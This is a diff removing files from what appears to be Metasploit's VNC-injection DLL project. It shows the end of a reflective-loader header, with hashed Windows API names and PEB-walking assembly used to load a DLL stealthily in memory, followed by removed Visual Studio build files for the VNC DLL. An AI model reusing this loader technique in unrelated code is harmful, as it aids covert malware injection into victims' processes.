#define DLL_METASPLOIT_ATTACH 4
#define DLL_METASPLOIT_DETACH 5
#define DEREF_32( name )*(DWORD *)(name)
#define DEREF_16( name )*(WORD *)(name)
#define DEREF_8( name )*(BYTE *)(name)
#define DLLEXPORT __declspec( dllexport )
typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR );
typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR );
typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD );
typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID );
#define KERNEL32DLL_HASH 0x6A4ABC5B
#define LOADLIBRARYA_HASH 0xEC0E4E8E
#define GETPROCADDRESS_HASH 0x7C0DFCAA
#define VIRTUALALLOC_HASH 0x91AFCA54
#define HASH_KEY 13
//===============================================================================================//
__forceinline DWORD __hash( char * c )
{
register DWORD h = 0;
do
{
__asm ror h, HASH_KEY
h += *c;
} while( *++c );
return h;
}
//===============================================================================================//
__forceinline DWORD __get_peb()
{
__asm mov eax, fs:[ 0x30 ]
}
//===============================================================================================//
__forceinline VOID __memzero( DWORD dwDest, DWORD dwLength )
{
__asm
{
mov ecx, dwLength
xor eax, eax
mov edi, dwDest
rep stosb
}
}
//===============================================================================================//
__forceinline VOID __memcpy( DWORD dwDest, DWORD dwSource, DWORD dwLength )
{
__asm
{
mov ecx, dwLength
mov esi, dwSource
mov edi, dwDest
rep movsb
}
}
//===============================================================================================//
typedef struct _UNICODE_STR
{
USHORT Length;
USHORT MaximumLength;
PWSTR pBuffer;
} UNICODE_STR, *PUNICODE_STR;
typedef struct _LDR_MODULE_MEMORY_ORDER
{
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID BaseAddress;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STR FullDllName;
UNICODE_STR BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_MODULE_MEMORY_ORDER, *PLDR_MODULE_MEMORY_ORDER;
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
{
DWORD dwLength;
DWORD dwInitialized;
LPVOID lpSsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
LPVOID lpEntryInProgress;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
{
struct _PEB_FREE_BLOCK * pNext;
DWORD dwSize;
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
typedef UNICODE_STRING *PUNICODE_STRING;
// struct _PEB is defined in Winternl.h but it is incomplete
// WinDbg> dt -v ntdll!_PEB
typedef struct __PEB // 65 elements, 0x210 bytes
{
BYTE bInheritedAddressSpace;
BYTE bReadImageFileExecOptions;
BYTE bBeingDebugged;
BYTE bSpareBool;
LPVOID lpMutant;
LPVOID lpImageBaseAddress;
PPEB_LDR_DATA pLdr;
LPVOID lpProcessParameters;
LPVOID lpSubSystemData;
LPVOID lpProcessHeap;
PRTL_CRITICAL_SECTION pFastPebLock;
LPVOID lpFastPebLockRoutine;
LPVOID lpFastPebUnlockRoutine;
DWORD dwEnvironmentUpdateCount;
LPVOID lpKernelCallbackTable;
DWORD dwSystemReserved;
DWORD dwAtlThunkSListPtr32;
PPEB_FREE_BLOCK pFreeList;
DWORD dwTlsExpansionCounter;
LPVOID lpTlsBitmap;
DWORD dwTlsBitmapBits[2];
LPVOID lpReadOnlySharedMemoryBase;
LPVOID lpReadOnlySharedMemoryHeap;
LPVOID lpReadOnlyStaticServerData;
LPVOID lpAnsiCodePageData;
LPVOID lpOemCodePageData;
LPVOID lpUnicodeCaseTableData;
DWORD dwNumberOfProcessors;
DWORD dwNtGlobalFlag;
LARGE_INTEGER liCriticalSectionTimeout;
DWORD dwHeapSegmentReserve;
DWORD dwHeapSegmentCommit;
DWORD dwHeapDeCommitTotalFreeThreshold;
DWORD dwHeapDeCommitFreeBlockThreshold;
DWORD dwNumberOfHeaps;
DWORD dwMaximumNumberOfHeaps;
LPVOID lpProcessHeaps;
LPVOID lpGdiSharedHandleTable;
LPVOID lpProcessStarterHelper;
DWORD dwGdiDCAttributeList;
LPVOID lpLoaderLock;
DWORD dwOSMajorVersion;
DWORD dwOSMinorVersion;
WORD wOSBuildNumber;
WORD wOSCSDVersion;
DWORD dwOSPlatformId;
DWORD dwImageSubsystem;
DWORD dwImageSubsystemMajorVersion;
DWORD dwImageSubsystemMinorVersion;
DWORD dwImageProcessAffinityMask;
DWORD dwGdiHandleBuffer[34];
LPVOID lpPostProcessInitRoutine;
LPVOID lpTlsExpansionBitmap;
DWORD dwTlsExpansionBitmapBits[32];
DWORD dwSessionId;
ULARGE_INTEGER liAppCompatFlags;
ULARGE_INTEGER liAppCompatFlagsUser;
LPVOID lppShimData;
LPVOID lpAppCompatInfo;
UNICODE_STRING usCSDVersion;
LPVOID lpActivationContextData;
LPVOID lpProcessAssemblyStorageMap;
LPVOID lpSystemDefaultActivationContextData;
LPVOID lpSystemAssemblyStorageMap;
DWORD dwMinimumStackCommit;
} _PEB, * _PPEB;
typedef struct
{
WORD offset:12;
WORD type:4;
} IMAGE_RELOC, *PIMAGE_RELOC;
//===============================================================================================//
#endif
//===============================================================================================//

View File

@ -1,577 +0,0 @@
# Microsoft Developer Studio Project File - Name="vncdll" - Package Owner=<4>
# Microsoft Developer Studio Generated Build File, Format Version 6.00
# ** DO NOT EDIT **
# TARGTYPE "Win32 (x86) Dynamic-Link Library" 0x0102
CFG=vncdll - Win32 Debug
!MESSAGE This is not a valid makefile. To build this project using NMAKE,
!MESSAGE use the Export Makefile command and run
!MESSAGE
!MESSAGE NMAKE /f "vncdll.mak".
!MESSAGE
!MESSAGE You can specify a configuration when running NMAKE
!MESSAGE by defining the macro CFG on the command line. For example:
!MESSAGE
!MESSAGE NMAKE /f "vncdll.mak" CFG="vncdll - Win32 Debug"
!MESSAGE
!MESSAGE Possible choices for configuration are:
!MESSAGE
!MESSAGE "vncdll - Win32 Release" (based on "Win32 (x86) Dynamic-Link Library")
!MESSAGE "vncdll - Win32 Debug" (based on "Win32 (x86) Dynamic-Link Library")
!MESSAGE
# Begin Project
# PROP AllowPerConfigDependencies 0
# PROP Scc_ProjName ""
# PROP Scc_LocalPath ""
CPP=cl.exe
MTL=midl.exe
RSC=rc.exe
!IF "$(CFG)" == "vncdll - Win32 Release"
# PROP BASE Use_MFC 0
# PROP BASE Use_Debug_Libraries 0
# PROP BASE Output_Dir "Release"
# PROP BASE Intermediate_Dir "Release"
# PROP BASE Target_Dir ""
# PROP Use_MFC 0
# PROP Use_Debug_Libraries 0
# PROP Output_Dir "..\Release"
# PROP Intermediate_Dir "..\Release"
# PROP Ignore_Export_Lib 0
# PROP Target_Dir ""
# ADD BASE CPP /nologo /MT /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "VNCDLL_EXPORTS" /YX /FD /c
# ADD CPP /nologo /MT /W3 /GX /Zi /O1 /I "..\omnithread" /I ".." /I "..\.." /D "WIN32" /D "NDEBUG" /D "__x86__" /D "__WIN32__" /D "_WINDOWS" /D "_MBCS" /D "_OMNITHREAD_DLL" /D _WIN32_WINNT=0x400 /FR /YX /FD /c
# ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32
# ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32
# ADD BASE RSC /l 0x409 /d "NDEBUG"
# ADD RSC /l 0x409 /d "NDEBUG"
BSC32=bscmake.exe
# ADD BASE BSC32 /nologo
# ADD BSC32 /nologo
LINK32=link.exe
# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386
# ADD LINK32 ws2_32.lib advapi32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /debug /machine:I386
!ELSEIF "$(CFG)" == "vncdll - Win32 Debug"
# PROP BASE Use_MFC 0
# PROP BASE Use_Debug_Libraries 1
# PROP BASE Output_Dir "Debug"
# PROP BASE Intermediate_Dir "Debug"
# PROP BASE Target_Dir ""
# PROP Use_MFC 0
# PROP Use_Debug_Libraries 1
# PROP Output_Dir "..\Debug"
# PROP Intermediate_Dir "..\Debug"
# PROP Ignore_Export_Lib 0
# PROP Target_Dir ""
# ADD BASE CPP /nologo /MTd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "VNCDLL_EXPORTS" /YX /FD /GZ /c
# ADD CPP /nologo /MTd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "VNCDLL_EXPORTS" /YX /FD /GZ /c
# ADD BASE MTL /nologo /D "_DEBUG" /mktyplib203 /win32
# ADD MTL /nologo /D "_DEBUG" /mktyplib203 /win32
# ADD BASE RSC /l 0x409 /d "_DEBUG"
# ADD RSC /l 0x409 /d "_DEBUG"
BSC32=bscmake.exe
# ADD BASE BSC32 /nologo
# ADD BSC32 /nologo
LINK32=link.exe
# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /debug /machine:I386 /pdbtype:sept
# ADD LINK32 ws2_32.lib advapi32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /debug /machine:I386 /pdbtype:sept
!ENDIF
# Begin Target
# Name "vncdll - Win32 Release"
# Name "vncdll - Win32 Debug"
# Begin Group "omnithread"
# PROP Default_Filter ""
# Begin Source File
SOURCE=..\omnithread\omnithread\nt.cpp
# End Source File
# Begin Source File
SOURCE=..\omnithread\omnithread\nt.h
# End Source File
# Begin Source File
SOURCE=..\omnithread\omnithread.h
# End Source File
# End Group
# Begin Group "Resource Files"
# PROP Default_Filter ""
# Begin Source File
SOURCE=..\winvnc\res\animatedmemoryimagesource.class
# End Source File
# Begin Source File
SOURCE=..\winvnc\res\authenticationpanel.class
# End Source File
# Begin Source File
SOURCE=..\winvnc\res\clipboardframe.class
# End Source File
# Begin Source File
SOURCE=..\winvnc\res\descipher.class
# End Source File
# Begin Source File
SOURCE=..\winvnc\res\icon1.ico
# End Source File
# Begin Source File
SOURCE=..\winvnc\res\optionsframe.class
# End Source File
# Begin Source File
SOURCE=..\winvnc\res\rfbproto.class
# End Source File
# Begin Source File
SOURCE=..\winvnc\res\vnc.bmp
# End Source File
# Begin Source File
SOURCE=..\winvnc\res\vnccanvas.class
# End Source File
# Begin Source File
SOURCE=..\winvnc\res\vncviewer.class
# End Source File
# Begin Source File
SOURCE=..\winvnc\res\vncviewer.jar
# End Source File
# Begin Source File
SOURCE=..\winvnc\res\winvnc.ico
# End Source File
# End Group
# Begin Group "Header Files"
# PROP Default_Filter ""
# Begin Source File
SOURCE=..\winvnc\d3des.h
# End Source File
# Begin Source File
SOURCE=..\winvnc\keysymdef.h
# End Source File
# Begin Source File
SOURCE=..\winvnc\resource.h
# End Source File
# Begin Source File
SOURCE=..\winvnc\rfb.h
# End Source File
# Begin Source File
SOURCE=..\winvnc\rfbMisc.h
# End Source File
# Begin Source File
SOURCE=..\winvnc\rfbRect.h
# End Source File
# Begin Source File
SOURCE=..\winvnc\rfbRegion.h
# End Source File
# Begin Source File
SOURCE=..\winvnc\rfbRegion_win32.h
# End Source File
# Begin Source File
SOURCE=..\winvnc\rfbRegion_X11.h
# End Source File
# Begin Source File
SOURCE=..\winvnc\rfbUpdateTracker.h
# End Source File
# Begin Source File
SOURCE=..\winvnc\stdhdrs.h
# End Source File
# Begin Source File
SOURCE=..\winvnc\translate.h
# End Source File
# Begin Source File
SOURCE=..\winvnc\vnc.hh
# End Source File
# Begin Source File
SOURCE=..\winvnc\vncabout.h
# End Source File
# Begin Source File
SOURCE=..\winvnc\vncacceptdialog.h
# End Source File
# Begin Source File
SOURCE=..\winvnc\vncauth.h
# End Source File
# Begin Source File
SOURCE=..\winvnc\vncbuffer.h
# End Source File
# Begin Source File
SOURCE=..\winvnc\vncclient.h
# End Source File
# Begin Source File
SOURCE=..\winvnc\vncconndialog.h
# End Source File
# Begin Source File
SOURCE=..\winvnc\vnccorbaconnect.h
# End Source File
# Begin Source File
SOURCE=..\winvnc\vncdesktop.h
# End Source File
# Begin Source File
SOURCE=..\winvnc\vncencodecorre.h
# End Source File
# Begin Source File
SOURCE=..\winvnc\vncencodehext.h
# End Source File
# Begin Source File
SOURCE=..\winvnc\vncencodemgr.h
# End Source File
# Begin Source File
SOURCE=..\winvnc\vncencoder.h
# End Source File
# Begin Source File
SOURCE=..\winvnc\vncencoderre.h
# End Source File
# Begin Source File
SOURCE=..\winvnc\vncencodezrle.h
# End Source File
# Begin Source File
SOURCE=..\winvnc\vnchttpconnect.h
# End Source File
# Begin Source File
SOURCE=..\winvnc\vncinsthandler.h
# End Source File
# Begin Source File
SOURCE=..\winvnc\vnckeymap.h
# End Source File
# Begin Source File
SOURCE=..\winvnc\vnclog.h
# End Source File
# Begin Source File
SOURCE=..\winvnc\vncmenu.h
# End Source File
# Begin Source File
SOURCE=..\winvnc\vncpasswd.h
# End Source File
# Begin Source File
SOURCE=..\winvnc\vncproperties.h
# End Source File
# Begin Source File
SOURCE=..\winvnc\vncserver.h
# End Source File
# Begin Source File
SOURCE=..\winvnc\vncservice.h
# End Source File
# Begin Source File
SOURCE=..\winvnc\vncsockconnect.h
# End Source File
# Begin Source File
SOURCE=..\winvnc\vnctimedmsgbox.h
# End Source File
# Begin Source File
SOURCE=..\winvnc\vsocket.h
# End Source File
# Begin Source File
SOURCE=..\winvnc\vtypes.h
# End Source File
# Begin Source File
SOURCE=..\winvnc\winvnc.h
# End Source File
# End Group
# Begin Group "Source Files"
# PROP Default_Filter ""
# Begin Source File
SOURCE=..\winvnc\buildtime.cpp
# End Source File
# Begin Source File
SOURCE=..\winvnc\d3des.c
# End Source File
# Begin Source File
SOURCE=..\winvnc\rfbRegion.cpp
!IF "$(CFG)" == "vncdll - Win32 Release"
# PROP Exclude_From_Build 1
!ELSEIF "$(CFG)" == "vncdll - Win32 Debug"
!ENDIF
# End Source File
# Begin Source File
SOURCE=..\winvnc\rfbRegion_win32.cpp
!IF "$(CFG)" == "vncdll - Win32 Release"
# PROP Exclude_From_Build 1
!ELSEIF "$(CFG)" == "vncdll - Win32 Debug"
!ENDIF
# End Source File
# Begin Source File
SOURCE=..\winvnc\rfbRegion_X11.cxx
!IF "$(CFG)" == "vncdll - Win32 Release"
!ELSEIF "$(CFG)" == "vncdll - Win32 Debug"
!ENDIF
# End Source File
# Begin Source File
SOURCE=..\winvnc\rfbUpdateTracker.cpp
# End Source File
# Begin Source File
SOURCE=..\winvnc\stdhdrs.cpp
# End Source File
# Begin Source File
SOURCE=..\winvnc\tableinitcmtemplate.cpp
!IF "$(CFG)" == "vncdll - Win32 Release"
# PROP Exclude_From_Build 1
!ELSEIF "$(CFG)" == "vncdll - Win32 Debug"
!ENDIF
# End Source File
# Begin Source File
SOURCE=..\winvnc\tableinittctemplate.cpp
!IF "$(CFG)" == "vncdll - Win32 Release"
# PROP Exclude_From_Build 1
!ELSEIF "$(CFG)" == "vncdll - Win32 Debug"
!ENDIF
# End Source File
# Begin Source File
SOURCE=..\winvnc\tabletranstemplate.cpp
!IF "$(CFG)" == "vncdll - Win32 Release"
# PROP Exclude_From_Build 1
!ELSEIF "$(CFG)" == "vncdll - Win32 Debug"
!ENDIF
# End Source File
# Begin Source File
SOURCE=..\winvnc\translate.cpp
# End Source File
# Begin Source File
SOURCE=..\winvnc\vncabout.cpp
# End Source File
# Begin Source File
SOURCE=..\winvnc\vncacceptdialog.cpp
# End Source File
# Begin Source File
SOURCE=..\winvnc\vncauth.c
# End Source File
# Begin Source File
SOURCE=..\winvnc\vncbuffer.cpp
# End Source File
# Begin Source File
SOURCE=..\winvnc\vncclient.cpp
# End Source File
# Begin Source File
SOURCE=..\winvnc\vncconndialog.cpp
# End Source File
# Begin Source File
SOURCE=..\winvnc\vnccorbaconnect.cpp
!IF "$(CFG)" == "vncdll - Win32 Release"
# PROP Exclude_From_Build 1
!ELSEIF "$(CFG)" == "vncdll - Win32 Debug"
!ENDIF
# End Source File
# Begin Source File
SOURCE=..\winvnc\vncdesktop.cpp
# End Source File
# Begin Source File
SOURCE=..\winvnc\vncencodecorre.cpp
# End Source File
# Begin Source File
SOURCE=..\winvnc\vncencodehext.cpp
# End Source File
# Begin Source File
SOURCE=..\winvnc\vncencoder.cpp
# End Source File
# Begin Source File
SOURCE=..\winvnc\vncencoderre.cpp
# End Source File
# Begin Source File
SOURCE=..\winvnc\vncencodezrle.cxx
# End Source File
# Begin Source File
SOURCE=..\winvnc\vnchttpconnect.cpp
# End Source File
# Begin Source File
SOURCE=..\winvnc\vncinsthandler.cpp
# End Source File
# Begin Source File
SOURCE=..\winvnc\vnckeymap.cpp
# End Source File
# Begin Source File
SOURCE=..\winvnc\vnclog.cpp
# End Source File
# Begin Source File
SOURCE=..\winvnc\vncmenu.cpp
# End Source File
# Begin Source File
SOURCE=..\winvnc\vncproperties.cpp
# End Source File
# Begin Source File
SOURCE=..\winvnc\vncserver.cpp
# End Source File
# Begin Source File
SOURCE=..\winvnc\vncservice.cpp
# End Source File
# Begin Source File
SOURCE=..\winvnc\vncsk.cpp
!IF "$(CFG)" == "vncdll - Win32 Release"
# PROP Exclude_From_Build 1
!ELSEIF "$(CFG)" == "vncdll - Win32 Debug"
!ENDIF
# End Source File
# Begin Source File
SOURCE=..\winvnc\vncsockconnect.cpp
# End Source File
# Begin Source File
SOURCE=..\winvnc\vnctimedmsgbox.cpp
# End Source File
# Begin Source File
SOURCE=..\winvnc\vsocket.cpp
# End Source File
# Begin Source File
SOURCE=..\winvnc\winvnc.cpp
# End Source File
# Begin Source File
SOURCE=..\winvnc\winvnc.def
# End Source File
# Begin Source File
SOURCE=..\winvnc\winvnc.rc
# End Source File
# End Group
# Begin Source File
SOURCE=..\..\BUILDING.txt
# End Source File
# Begin Source File
SOURCE=..\building.txt
# End Source File
# Begin Source File
SOURCE=..\history.txt
# End Source File
# Begin Source File
SOURCE=..\..\LICENCE.txt
# End Source File
# Begin Source File
SOURCE=..\README_BINARY.txt
# End Source File
# End Target
# End Project

View File

@ -1,29 +0,0 @@
Microsoft Developer Studio Workspace File, Format Version 6.00
# WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE!
###############################################################################
Project: "vncdll"=.\vncdll.dsp - Package Owner=<4>
Package=<5>
{{{
}}}
Package=<4>
{{{
}}}
###############################################################################
Global:
Package=<5>
{{{
}}}
Package=<3>
{{{
}}}
###############################################################################

View File

@ -1,971 +0,0 @@
<?xml version="1.0" encoding="Windows-1252"?>
<VisualStudioProject
ProjectType="Visual C++"
Version="9.00"
Name="vncdll"
ProjectGUID="{AC521037-8079-4B64-9135-115F1CF6B467}"
RootNamespace="vncdll"
TargetFrameworkVersion="131072"
>
<Platforms>
<Platform
Name="Win32"
/>
</Platforms>
<ToolFiles>
</ToolFiles>
<Configurations>
<Configuration
Name="Release|Win32"
OutputDirectory=".\..\Release"
IntermediateDirectory=".\..\Release"
ConfigurationType="2"
InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
UseOfMFC="0"
ATLMinimizesCRunTimeLibraryUsage="false"
CharacterSet="2"
>
<Tool
Name="VCPreBuildEventTool"
/>
<Tool
Name="VCCustomBuildTool"
/>
<Tool
Name="VCXMLDataGeneratorTool"
/>
<Tool
Name="VCWebServiceProxyGeneratorTool"
/>
<Tool
Name="VCMIDLTool"
PreprocessorDefinitions="NDEBUG"
MkTypLibCompatible="true"
SuppressStartupBanner="true"
TargetEnvironment="1"
TypeLibraryName=".\..\Release/vncdll.tlb"
HeaderFileName=""
/>
<Tool
Name="VCCLCompilerTool"
Optimization="1"
InlineFunctionExpansion="1"
AdditionalIncludeDirectories="..\omnithread,..,..\.."
PreprocessorDefinitions="WIN32;NDEBUG;__x86__;__WIN32__;_WINDOWS;_OMNITHREAD_DLL;_WIN32_WINNT=0x400"
StringPooling="true"
RuntimeLibrary="0"
EnableFunctionLevelLinking="true"
UsePrecompiledHeader="0"
PrecompiledHeaderFile=".\..\Release/vncdll.pch"
AssemblerListingLocation=".\..\Release/"
ObjectFile=".\..\Release/"
ProgramDataBaseFileName=".\..\Release/"
BrowseInformation="1"
WarningLevel="3"
SuppressStartupBanner="true"
DebugInformationFormat="3"
CompileAs="0"
/>
<Tool
Name="VCManagedResourceCompilerTool"
/>
<Tool
Name="VCResourceCompilerTool"
PreprocessorDefinitions="NDEBUG"
Culture="1033"
/>
<Tool
Name="VCPreLinkEventTool"
/>
<Tool
Name="VCLinkerTool"
AdditionalDependencies="ws2_32.lib odbc32.lib odbccp32.lib"
OutputFile=".\..\Release/vncdll.dll"
LinkIncremental="1"
SuppressStartupBanner="true"
GenerateManifest="false"
ModuleDefinitionFile="..\winvnc\winvnc.def"
GenerateDebugInformation="false"
ProgramDatabaseFile=".\..\Release/vncdll.pdb"
EntryPointSymbol=""
ResourceOnlyDLL="false"
RandomizedBaseAddress="1"
DataExecutionPrevention="0"
ImportLibrary=".\..\Release/vncdll.lib"
TargetMachine="1"
/>
<Tool
Name="VCALinkTool"
/>
<Tool
Name="VCManifestTool"
/>
<Tool
Name="VCXDCMakeTool"
/>
<Tool
Name="VCBscMakeTool"
/>
<Tool
Name="VCFxCopTool"
/>
<Tool
Name="VCAppVerifierTool"
/>
<Tool
Name="VCPostBuildEventTool"
/>
</Configuration>
</Configurations>
<References>
</References>
<Files>
<Filter
Name="omnithread"
>
<File
RelativePath="..\omnithread\omnithread\nt.cpp"
>
<FileConfiguration
Name="Release|Win32"
>
<Tool
Name="VCCLCompilerTool"
Optimization="1"
AdditionalIncludeDirectories=""
PreprocessorDefinitions="WIN32;NDEBUG;__x86__;__WIN32__;_WINDOWS;_MBCS;_OMNITHREAD_DLL;_WIN32_WINNT=0x400;$(NoInherit)"
BrowseInformation="1"
/>
</FileConfiguration>
</File>
<File
RelativePath="..\omnithread\omnithread\nt.h"
>
</File>
<File
RelativePath="..\omnithread\omnithread.h"
>
</File>
</Filter>
<Filter
Name="Resource Files"
>
<File
RelativePath="..\winvnc\res\animatedmemoryimagesource.class"
>
</File>
<File
RelativePath="..\winvnc\res\authenticationpanel.class"
>
</File>
<File
RelativePath="..\winvnc\res\clipboardframe.class"
>
</File>
<File
RelativePath="..\winvnc\res\descipher.class"
>
</File>
<File
RelativePath="..\winvnc\res\icon1.ico"
>
</File>
<File
RelativePath="..\winvnc\res\optionsframe.class"
>
</File>
<File
RelativePath="..\winvnc\res\rfbproto.class"
>
</File>
<File
RelativePath="..\winvnc\res\vnc.bmp"
>
</File>
<File
RelativePath="..\winvnc\res\vnccanvas.class"
>
</File>
<File
RelativePath="..\winvnc\res\vncviewer.class"
>
</File>
<File
RelativePath="..\winvnc\res\vncviewer.jar"
>
</File>
<File
RelativePath="..\winvnc\res\winvnc.ico"
>
</File>
</Filter>
<Filter
Name="Header Files"
>
<File
RelativePath="..\winvnc\d3des.h"
>
</File>
<File
RelativePath="..\winvnc\keysymdef.h"
>
</File>
<File
RelativePath=".\ReflectiveLoader.h"
>
</File>
<File
RelativePath="..\winvnc\resource.h"
>
</File>
<File
RelativePath="..\winvnc\rfb.h"
>
</File>
<File
RelativePath="..\winvnc\rfbMisc.h"
>
</File>
<File
RelativePath="..\winvnc\rfbRect.h"
>
</File>
<File
RelativePath="..\winvnc\rfbRegion.h"
>
</File>
<File
RelativePath="..\winvnc\rfbRegion_win32.h"
>
</File>
<File
RelativePath="..\winvnc\rfbRegion_X11.h"
>
</File>
<File
RelativePath="..\winvnc\rfbUpdateTracker.h"
>
</File>
<File
RelativePath="..\winvnc\stdhdrs.h"
>
</File>
<File
RelativePath="..\winvnc\translate.h"
>
</File>
<File
RelativePath="..\winvnc\vnc.hh"
>
</File>
<File
RelativePath="..\winvnc\vncabout.h"
>
</File>
<File
RelativePath="..\winvnc\vncacceptdialog.h"
>
</File>
<File
RelativePath="..\winvnc\vncauth.h"
>
</File>
<File
RelativePath="..\winvnc\vncbuffer.h"
>
</File>
<File
RelativePath="..\winvnc\vncclient.h"
>
</File>
<File
RelativePath="..\winvnc\vncconndialog.h"
>
</File>
<File
RelativePath="..\winvnc\vnccorbaconnect.h"
>
</File>
<File
RelativePath="..\winvnc\vncdesktop.h"
>
</File>
<File
RelativePath="..\winvnc\vncencodecorre.h"
>
</File>
<File
RelativePath="..\winvnc\vncencodehext.h"
>
</File>
<File
RelativePath="..\winvnc\vncencodemgr.h"
>
</File>
<File
RelativePath="..\winvnc\vncencoder.h"
>
</File>
<File
RelativePath="..\winvnc\vncencoderre.h"
>
</File>
<File
RelativePath="..\winvnc\vncencodezrle.h"
>
</File>
<File
RelativePath="..\winvnc\vnchttpconnect.h"
>
</File>
<File
RelativePath="..\winvnc\vncinsthandler.h"
>
</File>
<File
RelativePath="..\winvnc\vnckeymap.h"
>
</File>
<File
RelativePath="..\winvnc\vnclog.h"
>
</File>
<File
RelativePath="..\winvnc\vncmenu.h"
>
</File>
<File
RelativePath="..\winvnc\vncpasswd.h"
>
</File>
<File
RelativePath="..\winvnc\vncproperties.h"
>
</File>
<File
RelativePath="..\winvnc\vncserver.h"
>
</File>
<File
RelativePath="..\winvnc\vncservice.h"
>
</File>
<File
RelativePath="..\winvnc\vncsockconnect.h"
>
</File>
<File
RelativePath="..\winvnc\vnctimedmsgbox.h"
>
</File>
<File
RelativePath="..\winvnc\vsocket.h"
>
</File>
<File
RelativePath="..\winvnc\vtypes.h"
>
</File>
<File
RelativePath="..\winvnc\winvnc.h"
>
</File>
</Filter>
<Filter
Name="Source Files"
>
<File
RelativePath="..\winvnc\buildtime.cpp"
>
<FileConfiguration
Name="Release|Win32"
>
<Tool
Name="VCCLCompilerTool"
Optimization="1"
AdditionalIncludeDirectories=""
PreprocessorDefinitions="WIN32;NDEBUG;__x86__;__WIN32__;_WINDOWS;_MBCS;_OMNITHREAD_DLL;_WIN32_WINNT=0x400;$(NoInherit)"
BrowseInformation="1"
/>
</FileConfiguration>
</File>
<File
RelativePath="..\winvnc\d3des.c"
>
<FileConfiguration
Name="Release|Win32"
>
<Tool
Name="VCCLCompilerTool"
Optimization="1"
AdditionalIncludeDirectories=""
PreprocessorDefinitions="WIN32;NDEBUG;__x86__;__WIN32__;_WINDOWS;_MBCS;_OMNITHREAD_DLL;_WIN32_WINNT=0x400;$(NoInherit)"
BrowseInformation="1"
/>
</FileConfiguration>
</File>
<File
RelativePath=".\ReflectiveLoader.c"
>
</File>
<File
RelativePath="..\winvnc\rfbRegion.cpp"
>
<FileConfiguration
Name="Release|Win32"
ExcludedFromBuild="true"
>
<Tool
Name="VCCLCompilerTool"
Optimization="1"
AdditionalIncludeDirectories=""
PreprocessorDefinitions="WIN32;NDEBUG;__x86__;__WIN32__;_WINDOWS;_MBCS;_OMNITHREAD_DLL;_WIN32_WINNT=0x400;$(NoInherit)"
BrowseInformation="1"
/>
</FileConfiguration>
</File>
<File
RelativePath="..\winvnc\rfbRegion_win32.cpp"
>
<FileConfiguration
Name="Release|Win32"
ExcludedFromBuild="true"
>
<Tool
Name="VCCLCompilerTool"
Optimization="1"
AdditionalIncludeDirectories=""
PreprocessorDefinitions="WIN32;NDEBUG;__x86__;__WIN32__;_WINDOWS;_MBCS;_OMNITHREAD_DLL;_WIN32_WINNT=0x400;$(NoInherit)"
BrowseInformation="1"
/>
</FileConfiguration>
</File>
<File
RelativePath="..\winvnc\rfbRegion_X11.cxx"
>
<FileConfiguration
Name="Release|Win32"
>
<Tool
Name="VCCLCompilerTool"
Optimization="1"
AdditionalIncludeDirectories=""
PreprocessorDefinitions="WIN32;NDEBUG;__x86__;__WIN32__;_WINDOWS;_MBCS;_OMNITHREAD_DLL;_WIN32_WINNT=0x400;$(NoInherit)"
BrowseInformation="1"
/>
</FileConfiguration>
</File>
<File
RelativePath="..\winvnc\rfbUpdateTracker.cpp"
>
<FileConfiguration
Name="Release|Win32"
>
<Tool
Name="VCCLCompilerTool"
Optimization="1"
AdditionalIncludeDirectories=""
PreprocessorDefinitions="WIN32;NDEBUG;__x86__;__WIN32__;_WINDOWS;_MBCS;_OMNITHREAD_DLL;_WIN32_WINNT=0x400;$(NoInherit)"
BrowseInformation="1"
/>
</FileConfiguration>
</File>
<File
RelativePath="..\winvnc\stdhdrs.cpp"
>
<FileConfiguration
Name="Release|Win32"
>
<Tool
Name="VCCLCompilerTool"
Optimization="1"
AdditionalIncludeDirectories=""
PreprocessorDefinitions="WIN32;NDEBUG;__x86__;__WIN32__;_WINDOWS;_MBCS;_OMNITHREAD_DLL;_WIN32_WINNT=0x400;$(NoInherit)"
BrowseInformation="1"
/>
</FileConfiguration>
</File>
<File
RelativePath="..\winvnc\tableinitcmtemplate.cpp"
>
<FileConfiguration
Name="Release|Win32"
